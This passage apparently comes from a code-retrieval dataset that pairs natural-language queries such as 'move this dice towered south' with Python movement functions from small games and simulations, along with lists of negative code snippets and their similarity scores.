left\\n\\t\\t\\tself.avatarNP.setH(self.avatarNP.getH() + \\\\\\n\\t\\t\\t\\t\\t 40 * globalClock.getDt())\\n\\t\\t\\tself.rotateDuration -= 1\\n\\t\\t\\tif self.rotateDuration <= 0:\\n\\t\\t\\t\\tself.rotateDuration = -1\\n\\t\\t\\t\\tself.rotateDir = -1\\n\\t\\telif self.rotateDir <= 6 : # turn right\\n\\t\\t\\tself.avatarNP.setH(self.avatarNP.getH() - \\\\\\n\\t\\t\\t\\t\\t 50 * globalClock.getDt())\\n\\t\\t\\tself.rotateDuration -= 1\\n\\t\\t\\tif self.rotateDuration <= 0:\\n\\t\\t\\t\\tself.rotateDuration = -1\\n\\t\\t\\t\\tself.rotateDir = -1\\n\\t\\telif self.rotateDir == 7 : # turn big left\\n\\t\\t\\tself.avatarNP.setH(self.avatarNP.getH() + \\\\\\n\\t\\t\\t\\t\\t 102 * globalClock.getDt())\\n\\t\\t\\tself.rotateDuration -= 1\\n\\t\\t\\tif self.rotateDuration <= 0:\\n\\t\\t\\t\\tself.rotateDuration = -1\\n\\t\\t\\t\\tself.rotateDir = -1\\n\\t\\telif self.rotateDir == 8 : # turn big right\\n\\t\\t\\tself.avatarNP.setH(self.avatarNP.getH() - \\\\\\n\\t\\t\\t\\t\\t 102 * globalClock.getDt())\\n\\t\\t\\tself.rotateDuration -= 1\\n\\t\\t\\tif self.rotateDuration <= 0:\\n\\t\\t\\t\\tself.rotateDuration = -1\\n\\t\\t\\t\\tself.rotateDir = -1\\n\\t\\telse :\\n\\t\\t\\tself.rotateDuration -= 1\\n\\t\\t\\tif self.rotateDuration <= 0:\\n\\t\\t\\t\\tself.rotateDuration = -1\\n\\t\\t\\t\\tself.rotateDir = -1\\n\\t\\t\\tself.avatarNP.setFluidPos(self.avatarNP, 0,\\n\\t\\t\\t\\t\\t-1 * globalClock.getDt(),\\n\\t\\t\\t\\t\\tself.avatarNP.getZ() )\\n\\t\\t# moving forward\\n\\t\\t#self.avatarNP.setFluidPos(self.avatarNP, 0,\\n\\t#\\t\\t\\t\\t-1 * globalClock.getDt(),\\n\\t#\\t\\t\\t\\tself.avatarNP.getZ() )\\n\\t\\treturn\\n\\t\\t\\\"\\\"\\\"\",\n \"def next_turn(self): \\n if (self.moves):\\n self.board = self.select_move() \\n self.moves = []\\n self.roll = self.roll_dice()\\n self.player = not self.player\\n self.generate_valid_moves()\",\n \"def move(self, is_forward):\\n wh, lh = self.get_heading\\n self.w += wh\\n self.l += lh\\n if self.get_pos() == blocks['wall']:\\n self.w -= wh\\n self.l -= lh\",\n \"def move_repeatedly():\\n check = check50.run(run_command)\\n check.stdin(\\\"WEST\\\").stdout(room_2_description)\\n check.stdin(\\\"EAST\\\").stdout(room_1_name)\\n check.stdin(\\\"WEST\\\").stdout(room_2_name)\",\n \"def move_north(self):\\n self.vertical = (self.vertical * 2)[1:5]\\n self.horizontal[1] = self.vertical[0]\\n self.horizontal[3] = self.vertical[2]\",\n \"def ran_direction(self,room):\\r\\n ran_dirt = self.random()\\r\\n if 1 == ran_dirt: \\r\\n room.front_attch(True)\\r\\n elif 2 == ran_dirt: \\r\\n room.back_attch(True)\\r\\n elif 3 == ran_dirt: \\r\\n room.left_attch(True)\\r\\n elif 4 == ran_dirt: \\r\\n room.right_attch(True)\\r\\n return room\",\n \"def _move_forward(self):\\n\\t\\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\t\\tif(self.y<=798):\\n\\t\\t\\tself.y = self.y+1\\n\\t\\t\\tif Board.board[self.x][self.y]=='0':\\n\\t\\t\\t\\tMario.score += 1\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='P':\\n\\t\\t\\t\\tMario.lives+=1\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_1-up.wav\\\"])\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='A':\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\t\\t\\t\\tMario.attack = 1\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_powerup.wav\\\"])\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='@':\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tMario.lives-=1\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_mariodie.wav\\\"])\\n\\t\\t\\t\\tif Mario.lives<=0:\\n\\t\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_gameover.wav\\\"])\\n\\t\\t\\t\\t\\treturn \\\"exit\\\"\\n\\t\\t\\t\\tos.system('clear')\\n\\t\\t\\t\\tprint(\\\"\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\tNumber of Mario left\\\",Mario.lives)\\n\\t\\t\\t\\tMario.respawn(self.x,self.y)\\n\\t\\t\\t\\ttime.sleep(2)\\n\\t\\t\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\n\\t\\t\\telif(Board.board[self.x][self.y]=='/'):\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x-1][self.y]='M'\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='I':\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_stage_clear.wav\\\"])\\n\\t\\t\\t\\tBoard.bonus_round()\\n\\n\\t\\t\\telif Board.board[self.x][self.y]=='K':\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_stage_clear.wav\\\"])\\n\\t\\t\\t\\tenemy.boss_round()\\n\\n\\t\\t\\telif(Board.board[self.x][self.y] in obstacles):\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y-1]='M'\\n\\n\\t\\t\\telif((Board.board[self.x+1][self.y-1]=='/' or Board.board[self.x+1][self.y-1]=='T') and Board.board[self.x+1][self.y]==' '):\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y+1]='M'\\n\\t\\t\\t\\tMario.go_down(self)\\n\\t\\t\\telse:\\n\\t\\t\\t\\tMario._pass(self.x,self.y-1)\\n\\t\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\n\\t\\tif( self.y-1 >= ((Board.prev_j+Board.prev_k)/2) ):\\n\\t\\t\\tos.system('clear')\\n\\t\\t\\tBoard.prev_j += 1 \\n\\t\\t\\tBoard.prev_k += 1\\n\\t\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\t\\telse:\\n\\t\\t\\tos.system('clear')\\n\\t\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\",\n \"def __random_movement(self):\\n\\t\\tself.__steps += 1 \\t\\t# Increment after every frame\\n\\t\\t# When __steps greater than threshold reverse the direction\\n\\t\\t# and set threshold to a new random value\\n\\t\\tif self.__steps >= self.__threshold_steps:\\t\\n\\t\\t\\tif self.direction == 'RIGHT':\\n\\t\\t\\t\\tself.move_left()\\n\\t\\t\\t\\tself.direction = 'LEFT'\\n\\t\\t\\telse:\\n\\t\\t\\t\\tself.move_right()\\n\\t\\t\\t\\tself.direction = 'RIGHT'\\n\\t\\t\\tself.__threshold_steps = random.randint(25,50)\\n\\t\\t\\tself.__steps = 0\\n\\t\\t# Confines the Donkeys movement to within the boundary \\n\\t\\tself.__check_boundary()\",\n \"def update(self):\\n if self.x<0:\\n self.x = 0\\n\\n if self.y <0:\\n self.y = 0\\n\\n if bool(randint(0, 1))==True:\\n if self.walker == True:\\n self.x += randint(-2, 2)\\n self.y += randint(-2, 2)\",\n \"def move(self, action):\\n self.time += 1\\n\\n # If ship is destroyed ship can only contemplate sadness and despair\\n if not action or not self.is_playable():\\n return None\\n\\n self.actualise = False\\n\\n if self.leroy_time == 1:\\n self.back_to_normal()\\n if self.leroy_time > 0:\\n self.leroy_time -= 1\\n\\n # there is a chance that the ia enter in leroy mode\\n # the ia goes mad for some time, acting randomly\\n # added to allow the ships to explore the possible actions and not stay passive\\n if not self.player and self.leroy_time == 0 and self.agent.behavior == \\\"network\\\" and random() < LEROY_RATE:\\n self.leroy_jenkins()\\n\\n # training reward depending on position\\n # self.agent.reward = self.go_bottom_reward()\\n\\n if isinstance(action, ActionOneHot):\\n if action.pointing:\\n self.pointing = Point(randint(0, DEFAULT_WIDTH-1), randint(0, DEFAULT_HEIGHT-1))\\n elif isinstance(action, Action):\\n if action.pointing:\\n self.pointing = action.pointing\\n # print(\\\"action.pointing\\\", action.pointing)\\n # print(\\\"turn \\\", self.direction)\\n\\n if action.thrust:\\n self.thrust()\\n if action.shoot:\\n self.shoot()\",\n \"def move(self):\\n x = y = z = 0.0\\n for cell in self.cells:\\n x += (cell.x)#*n\\n y += (cell.y)#*n\\n z += (cell.z)#*n\\n np = float(len(self.cells))\\n med = numpy.array([x/np,y/np,z/np])\\n \\n dists = []\\n for cell in self.cells:\\n d = (cell.x-self.x)**2+(cell.y-self.y)**2+(cell.z-self.z)**2\\n d = numpy.sqrt(d)\\n dists.append(d)\\n #md = (cell.x-med[0])**2+(cell.y-med[1])**2+(cell.z-med[2])**2\\n #dists[-1] = (dists[-1]+md)/2\\n cell = self.cells[numpy.argmin(dists)]\\n cc = numpy.array([cell.x, cell.y, cell.z])\\n \\n t = self.t\\n if abs(self.dnp) * ( self.np-self.np_req) > 0:\\n t = self.tr\\n self.dcenter = (1-t)*(med-self.center + self.u*(cc-med))\\n self.x,self.y,self.z = self.center = self.center + self.dcenter\",\n \"def _change_fleet_direction(self):\\n\\t\\tfor auto in self.autos.sprites():\\n\\t\\t\\tauto.rect.y -= self.settings.fleet_rise_speed\\n\\t\\tself.settings.fleet_direction *= -1\",\n \"def move(self, dx, dy):\\r\\n self.corner.x += dx\\r\\n self.corner.y += dy\",\n \"def do_west(self, arg):\\r\\n moveDirection('west')\",\n \"def turn_right(self):\\n self.facing_direction += self.config\\n if self.facing_direction > 7:\\n self.facing_direction -= 8\\n self.x, self.y = self.compute_positions()\",\n \"def move():\\n Robot.move()\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def move(self):\\n vector = vectors[compass.index(self.heading)]\\n x = self.position[0] + vector[0]\\n y = self.position[1] + vector[1]\\n self._check_move(x, self.plateau[0])\\n self._check_move(y, self.plateau[1])\\n return replace(self, position=(x, y))\",\n \"def move(self, direction):\\n pass\",\n \"def main():\\n move()\\n move()\\n pick_beeper()\\n move()\\n turn_left()\\n for i in range(2):\\n move()\\n put_beeper()\\n turn_around()\\n move_to_wall()\\n turn_right()\\n move_to_wall()\\n turn_around()\",\n \"def _change_fleet_direction(self): \\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def moveRight(self,board_object):\\n\\t\\tif checkClash(board_object,self,self.x,self.y+1) == 0:\\n\\t\\t\\toverlayMatrix(board_object,self,self.x,self.y+1)\\n\\t\\t\\tself.setPos(self.x,self.y+1)\\n\\t\\t\\tif self.y > board_object.start + 25: \\n\\t\\t\\t\\tboard_object.start += 1\\n\\t\\telse:\\n\\t\\t\\treturn 1\",\n \"def jump(self):\\r\\n if self.grounded == True:\\r\\n self.vel.y = -13\",\n \"def move_car(self):\\n a = self.h / 50\\n self.x += self.speed_x / FPS\\n if self.x + 170 * a >= 1100:\\n self.dir = -1\\n self.speed_x = -self.speed_x\\n if self.x - 170 * a <= 50:\\n self.dir = 1\\n self.speed_x = -self.speed_x\",\n \"def move_west(self):\\r\\n self.move(dx=-1, dy=0)\",\n \"def MoveRandom(self):\\n r = random.randint(0,3)\\n if r == 0: self.x += 1\\n elif r == 1: self.y += 1\\n elif r == 2: self.x -= 1\\n elif r == 3: self.y -= 1\",\n \"def move(self):\\n neg = -1 # neg used to change direction of velocity if ship is jumping or not\\n\\n if self.goForward:\\n self.x_pos += self.x_velocity\\n\\n if self.x_pos > self.final_pos_x and self.goForward:\\n self.goForward = False\\n\\n if self.y_velocity > 0:\\n self.isJump = False\\n neg = 1\\n\\n self.y_pos += (self.y_velocity ** 2) * neg / 15 # formula to simulate a real fall or jump\\n self.y_velocity += 0.5\",\n \"def move_to(self, x, y):\\r\\n self.__current_room = x, y\",\n \"def moveTurt(t, pole, count):\\n x = t.xcor()\\n y = t.ycor()\\n t.goto(x, y + 10)\\n t.goto(pole, y + 10)\\n t.goto(pole, y)\\n count += 1\",\n \"def _move_tetrino(self, tetrino, x, y):\\n tetrino.location_offset[constant.X] += x\\n tetrino.location_offset[constant.Y] += y\\n tetrino.update_location()\",\n \"def move (self):\\n\\t\\tself.x += self.direction[0]\\n\\t\\tself.y += self.direction[1]\\n\\t\\tself.row = (self.y - 15) / 30\\n\\t\\tself.col = (self.x - 15) / 30\\n\\t\\tself.rowcol = (self.row,self.col)\\n\\t\\tself.draw()\",\n \"def advance(self):\\n #x and y coordinates move and advance by adding the randomly generated velocity \\n self.center.x += self.velocity.dx\\n self.center.y += self.velocity.dy\\n return\",\n \"def move_creatures(self):\\r\\n auto = self.state\\r\\n for y, line in enumerate(auto):\\r\\n for x, cell in enumerate(line):\\r\\n 'no creature cell'\\r\\n if cell == 0:\\r\\n continue\\r\\n next_cell = np.random.randint(0, 8)\\r\\n 'Stay in place'\\r\\n if next_cell == 0:\\r\\n continue\\r\\n ' check next cell'\\r\\n auto = self.check_next_cell(cell, auto, y, x, next_cell)\\r\\n\\r\\n self.nHealthy = np.sum(self.state == 1)\\r\\n self.nSick = np.sum(self.state == 2)\\r\\n return auto\",\n \"def move_draught(event):\\n global red_turn\\n if(red_turn == False):\\n return\\n draught = board.find_withtag(CURRENT)[0]\\n board.coords(draught,event.x-click_offset[0],event.y-click_offset[1],event.x-click_offset[0]+board_divisions,event.y-click_offset[1]+board_divisions)\",\n \"def step(self, crowd):\\n\\n for boid in crowd:\\n random_int = random.randint(0, 5)\\n\\n # if random_int > 4:\\n # random_int = random.randint(0, 5)\\n # if random_int > 4:\\n # for i in range (1, 500):\\n # goalX, goalY = self.goals[boid.goalNr]\\n # x, y = boid.position\\n\\n # if (goalX + 10 >= x >= goalX - 10) and (goalY + 10 >= y >= goalY - 10):\\n # boid.reached_goal(goalX + 10, goalY + 10)\\n\\n # dx = random.randint(0, self.width) - x\\n # dy = random.randint(0, self.height) - y\\n\\n # # Unit vector in the same direction\\n # distance = math.sqrt(dx * dx + dy * dy)\\n # dx /= distance\\n # dy /= distance\\n\\n # # And now we move:\\n # x += dx\\n # y += dy\\n\\n # boid.set_goal(dx, dy)\\n\\n # boid.position += boid.velocity\\n #else:\\n # boid.position += boid.velocity\\n \\n # Vector from me to cursor\\n\\n\\n goalX, goalY = self.goals[boid.goalNr]\\n x, y = boid.position\\n\\n if (goalX + 10 >= x >= goalX - 10) and (goalY + 10 >= y >= goalY - 10):\\n boid.reached_goal(goalX + 10, goalY + 10)\\n\\n else:\\n dx = goalX - x\\n dy = goalY - y\\n\\n # Unit vector in the same direction\\n # distance = np.linalg.norm(dx * dx + dy * dy)\\n distance = math.sqrt(dx * dx + dy * dy)\\n dx /= distance\\n dy /= distance\\n\\n # And now we move:\\n x += dx\\n y += dy\\n\\n boid.set_goal(dx, dy)\\n\\n boid.position += boid.velocity\",\n \"def turn(self):\\n pass\",\n \"def lock_in_soda_can(self):\\n move_msg = Move()\\n move_msg.lane = director.coldring\\n move_msg.location = 1 # 1: fully down\\n self.move_pub.publish(move_msg)\",\n \"def right_twist(self):\\n self.turn_by_deg(180)\\n #time.sleep(.1)\\n self.stop()\\n self.turn_by_deg(180)\\n #time.sleep(.1)\\n self.stop()\",\n \"def move_west(self):\\n self.horizontal = (self.horizontal * 2)[1:5]\\n self.vertical[0] = self.horizontal[1]\\n self.vertical[2] = self.horizontal[3]\",\n \"def MoveRightStep(self):\\n if self.facing == 0:\\n self.facing = 1\\n self.x += self.stepLeft\\n elif self.facing == 1:\\n self.facing = 2\\n self.y += self.stepUp\\n elif self.facing == 2:\\n self.facing = 3\\n self.x -= self.stepRight\\n elif self.facing == 3:\\n self.facing = 0\\n self.y -= self.stepDown\",\n \"def make_move(self, move):\\n if int(move) < 0 or int(move) > 48 or self.board[int(move) // 7][int(move) % 7] != \\\"\\\" or int(move) % 2 == 0:\\n raise ValueError(\\\"{} is not a valid move for {}\\\".format(move, self.board))\\n DotsAndBoxesState.score1 += self.check_score(move)\\n self.board[int(move) // 7][int(move) % 7] = colors[self.turn] + self.turn + \\\"\\\\u001b[0m\\\"\\n self.turn = get_opponent(self.turn) #change into another player's trun\",\n \"def move(self):\\n # neighbor offsets\\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\\n for i in range(len(offset)):\\n x = self.x + offset[i][0] # neighboring coordinates\\n y = self.y + offset[i][1]\\n if self.island.animal(x, y) == 0: # neighboring spot is open\\n self.island.remove(self) # remove from current spot\\n self.x = x # new coordinates\\n self.y = y\\n self.island.register(self) # register new coordinates\\n break # finished with move\",\n \"def move(self):\\n # neighbor offsets\\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\\n for i in range(len(offset)):\\n x = self.x + offset[i][0] # neighboring coordinates\\n y = self.y + offset[i][1]\\n if self.island.animal(x, y) == 0: # neighboring spot is open\\n self.island.remove(self) # remove from current spot\\n self.x = x # new coordinates\\n self.y = y\\n self.island.register(self) # register new coordinates\\n break # finished with move\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6586231","0.65356094","0.6503337","0.6497301","0.63757825","0.6351679","0.63349146","0.622529","0.62203085","0.6209833","0.6152489","0.6142059","0.6119466","0.61022717","0.6097013","0.6093029","0.60713977","0.60547554","0.60496265","0.60490745","0.6018173","0.60120916","0.60032666","0.5988975","0.5980669","0.5932558","0.59300286","0.5916937","0.5916937","0.59159595","0.5903489","0.58939344","0.58897257","0.588327","0.5883138","0.588238","0.5879095","0.5869444","0.58652544","0.5864091","0.5862205","0.58525234","0.5849862","0.58371156","0.58362687","0.5832626","0.5831794","0.5829126","0.5828144","0.58263326","0.58191866","0.5813027","0.5813027","0.58128905","0.5805102","0.58016086","0.5799513","0.57982343","0.5785267","0.57748324","0.5774486","0.577089","0.5770227","0.576332","0.575351","0.57468385","0.5742205","0.57381153","0.57330704","0.57275105","0.57252693","0.57248855","0.57247186","0.57247186","0.57247186","0.57219607","0.57184744","0.5717958","0.57126087","0.5711902","0.57114935","0.5707989","0.57015574","0.56978977","0.5695854","0.56954587","0.5693609","0.5689519","0.5689506","0.5684791","0.56844807","0.56731355","0.5670743","0.5666379","0.5662298","0.5659999","0.5659752","0.5656808","0.5656257","0.5655178","0.5655178"],"string":"[\n \"0.6586231\",\n \"0.65356094\",\n \"0.6503337\",\n \"0.6497301\",\n \"0.63757825\",\n \"0.6351679\",\n \"0.63349146\",\n \"0.622529\",\n \"0.62203085\",\n \"0.6209833\",\n \"0.6152489\",\n \"0.6142059\",\n \"0.6119466\",\n \"0.61022717\",\n \"0.6097013\",\n \"0.6093029\",\n \"0.60713977\",\n \"0.60547554\",\n \"0.60496265\",\n \"0.60490745\",\n \"0.6018173\",\n \"0.60120916\",\n \"0.60032666\",\n \"0.5988975\",\n \"0.5980669\",\n \"0.5932558\",\n \"0.59300286\",\n \"0.5916937\",\n \"0.5916937\",\n \"0.59159595\",\n \"0.5903489\",\n \"0.58939344\",\n \"0.58897257\",\n \"0.588327\",\n \"0.5883138\",\n \"0.588238\",\n \"0.5879095\",\n \"0.5869444\",\n \"0.58652544\",\n \"0.5864091\",\n \"0.5862205\",\n \"0.58525234\",\n \"0.5849862\",\n \"0.58371156\",\n \"0.58362687\",\n \"0.5832626\",\n \"0.5831794\",\n \"0.5829126\",\n \"0.5828144\",\n \"0.58263326\",\n \"0.58191866\",\n \"0.5813027\",\n \"0.5813027\",\n \"0.58128905\",\n \"0.5805102\",\n \"0.58016086\",\n \"0.5799513\",\n \"0.57982343\",\n \"0.5785267\",\n \"0.57748324\",\n \"0.5774486\",\n \"0.577089\",\n \"0.5770227\",\n \"0.576332\",\n \"0.575351\",\n \"0.57468385\",\n \"0.5742205\",\n \"0.57381153\",\n \"0.57330704\",\n \"0.57275105\",\n \"0.57252693\",\n \"0.57248855\",\n \"0.57247186\",\n \"0.57247186\",\n \"0.57247186\",\n \"0.57219607\",\n \"0.57184744\",\n \"0.5717958\",\n \"0.57126087\",\n \"0.5711902\",\n \"0.57114935\",\n \"0.5707989\",\n \"0.57015574\",\n \"0.56978977\",\n \"0.5695854\",\n \"0.56954587\",\n \"0.5693609\",\n \"0.5689519\",\n \"0.5689506\",\n \"0.5684791\",\n \"0.56844807\",\n \"0.56731355\",\n \"0.5670743\",\n \"0.5666379\",\n \"0.5662298\",\n \"0.5659999\",\n \"0.5659752\",\n \"0.5656808\",\n \"0.5656257\",\n \"0.5655178\",\n \"0.5655178\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":15383,"cells":{"query":{"kind":"string","value":"move this dice towered south"},"document":{"kind":"string","value":"def move_north(self):\n self.vertical = (self.vertical * 2)[1:5]\n self.horizontal[1] = self.vertical[0]\n self.horizontal[3] = self.vertical[2]"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def shift_board(self, dx, dy):\n super().shift_board(dx, dy)\n self.goals = np.roll(self.goals, dy, axis=0)\n self.goals = np.roll(self.goals, dx, axis=1)","def moveSouth(self):\n self._move('s', Tile.VerticalDifference)","def move(self):\n \n self.position = self.wander()","def throw(self, move):\n for dice_index in move:\n self.dice[dice_index - 1] = random.randint(1,6)","def _move_randomly(self):\n a, b = randint(0, len(self.state) - 1), randint(0, len(self.state) - 1)\n wiz1, wiz2 = self.state[a], self.state[b]\n self._swap_wizards(wiz1, wiz2)","def move(self):\n if random.random() < 0.5:\n self.y = (self.y + 1) % 100\n else:\n self.y = (self.y - 1) % 100\n if random.random() < 0.5:\n self.x = (self.x + 1) % 100\n else:\n self.x = (self.x - 1) % 100","def moveSouth(self):\n south = (self.current[0], self.current[1] + 1)\n mv = self.lab.south()\n self.check_grue(mv)\n self.current = south\n self.visited.add(self.current)","def turn(self):\r\n # 1 throw the dice\r\n if (\r\n not self.player_list[self.current_player].is_in_jail()\r\n or self.try_leave_jail()\r\n ):\r\n thr = Throw()\r\n while thr is not None:\r\n # check in where the current player will land\r\n new_position = self.compute_new_position_from_dice(\r\n self.current_player, thr\r\n )\r\n self.move_player_to(self.current_player, new_position, thr=thr)\r\n\r\n if thr.is_double():\r\n thr = Throw()\r\n else:\r\n thr = None\r\n print(\"------------------------------\")\r\n\r\n self.player_observable_variables()\r\n\r\n # move turn to next player\r\n self.current_player += 1\r\n if self.current_player >= len(self.player_list):\r\n self.current_player = 0\r\n self.full_turn_count += 1\r\n print(\"**********************\")\r\n print(\r\n \"Full turn:\",\r\n self.full_turn_count,\r\n \"\\n\",\r\n \"\\n\".join(map(lambda x: x.full(), self.player_list)),\r\n )\r\n print(\"**********************\")","def move_south(self):\n self.vertical = (self.vertical * 2)[3:7]\n self.horizontal[1] = self.vertical[0]\n self.horizontal[3] = self.vertical[2]","def move(self):\r\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\r\n self.y += 1\r\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\r\n self.x += 1\r\n elif self.d == 'SOUTH' and (self.y - 1) >= 0:\r\n self.y -= 1\r\n elif self.d == 'WEST' and (self.x - 1) >= 0:\r\n self.x -= 1\r\n else:\r\n print(\"Edge of Table Reached!\")","def turn_ship_right(self):\n self.degrees -= movement","def shift_board(self, dx, dy):\n self.board = np.roll(self.board, dy, axis=0)\n self.board = np.roll(self.board, dx, axis=1)\n self.agent_locs += [dy, dx]\n self.agent_locs %= self.board.shape\n self.update_exit_locs()","def fireSouth(self):\n self.rotate('s')\n gun = Laser(self)\n gun.shoot('s')\n self.agent.actionCompleted()","def migration(self):\n\n coordinates = self.get_random_coordinates()\n for coordinate in coordinates:\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\n self.cell_move_herbivores(coordinate)\n self.cell_move_carnivores(coordinate)\n\n for coordinate in coordinates:\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\n self.cells[coordinate].move_new_animals()","def move_south(self):\r\n self.move(dx=0, dy=1)","def move_draught_end(event):\n global red_draughts, white_draughts\n global board_array\n global old_point\n global die_1_num, die_2_num, doubles\n draught = board.find_withtag(CURRENT)[0]\n #Figure out which point they want to put it on\n bottom = (event.y-click_offset[1] >= board_height//2)\n point_left_edges = [board_divisions*i for i in xrange(0,15) if i != 7]\n is_red = draught in red_draughts\n if bottom == False:\n new_point = 12+point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0])))\n else:\n new_point = 13-point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0]))) \n #Check legality\n if(board_array[new_point][1] > 1 and is_red) or (board_array[new_point][0] > 1 and not is_red): #if too many opposite color on square\n draw_draughts()\n return\n if(board_array[0][0] > 0 and is_red and old_point != 0)or(board_array[25][1] > 0 and not is_red and old_point != 25):#Obligated to move off bar first\n draw_draughts()\n return\n if(new_point == 0 and not is_red): #if white trying to bear off\n for i in xrange(7,26):\n if(board_array[i][1] > 0): #If white has a piece outside home, can't bear off\n draw_draughts()\n return\n if(new_point == 25 and is_red): #if red trying to bear off\n for i in xrange(0,18):\n if(board_array[i][0] > 0): #If red has a piece outside home, can't bear off\n draw_draughts()\n return \n \n if(new_point-old_point == die_1_num and is_red) or (old_point-new_point == die_1_num and not is_red):\n if(doubles == False) or (die_2_num != 0):\n die_1_num = 0\n else: \n die_2_num = die_1_num\n doubles = False\n elif(new_point-old_point == die_2_num and is_red) or (old_point-new_point == die_2_num and not is_red):\n if(doubles == False) or (die_1_num != 0):\n die_2_num = 0\n else: \n die_1_num = die_2_num\n doubles = False\n else: #Can't move there on this roll\n draw_draughts()\n return\n update_dice()\n #Update board_array\n if is_red:\n board_array[old_point][0] -= 1\n board_array[new_point][0] += 1\n if(board_array[new_point][1] == 1): #Handle hits\n board_array[new_point][1] -= 1\n board_array[25][1] += 1\n else:\n board_array[old_point][1] -= 1\n board_array[new_point][1] += 1\n if(board_array[new_point][0] == 1): #Handle hits\n board_array[new_point][0] -= 1\n board_array[0][0] += 1\n\n draw_draughts()\n if(die_1_num == 0 and die_2_num == 0):\n comp_turn()","def move(self):\n if self.adjustment > 0:\n # The player moves up a ladder\n old_position = self.position\n # In the next move, player on top of ladder\n\n self.position = old_position - self.dropped_steps\n # player drops steps\n super().move()\n # player move\n die = self.position - old_position + self.dropped_steps - \\\n self.adjustment\n \"\"\" \n the current position of the player is: old position - \n dropped_steps + die + adjustment. Rearranging to find the die.\n \n \"\"\"\n if die < self.dropped_steps:\n self.position = old_position\n # if die is less than dropped_steps, the player will stand still.\n else:\n super().move()\n # if not climbling a ladder, then the player make a regular move","def make_turn(self):\n # if play first, start in the middle\n if np.count_nonzero(self.board) == 0:\n self.place_disc(self.board.shape[1] / 2)\n return 1\n\n\n # win if possible\n for try_column in range(0,self.board.shape[1]):\n if 0 == self.board[0, try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, self.id())\n if dhw.did_he_win(new_board, self.id(), try_column):\n self.place_disc(try_column)\n return 1\n\n # don't loose if in danger\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id())\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\n self.place_disc(try_column)\n return 1\n\n # don't fall in trap!\n forbidden_columns = []\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, self.id()) # my move\n new_board = self.simulate_place_disc(new_board, try_column, 3 - self.id()) # enemy move\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\n\n # don't ruin my trap\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id()) # 'my' move\n new_board = self.simulate_place_disc(new_board, try_column, self.id()) # my move\n if dhw.did_he_win(new_board, self.id(), try_column):\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\n\n # allow forbidden_columns if no other choice\n if np.count_nonzero(self.board[0, :]) == self.board.shape[1] - len(forbidden_columns):\n forbidden_columns = []\n\n # otherwise, play randomly\n rannum = random.randrange(7)\n while 0 != self.board[0, rannum] or rannum in 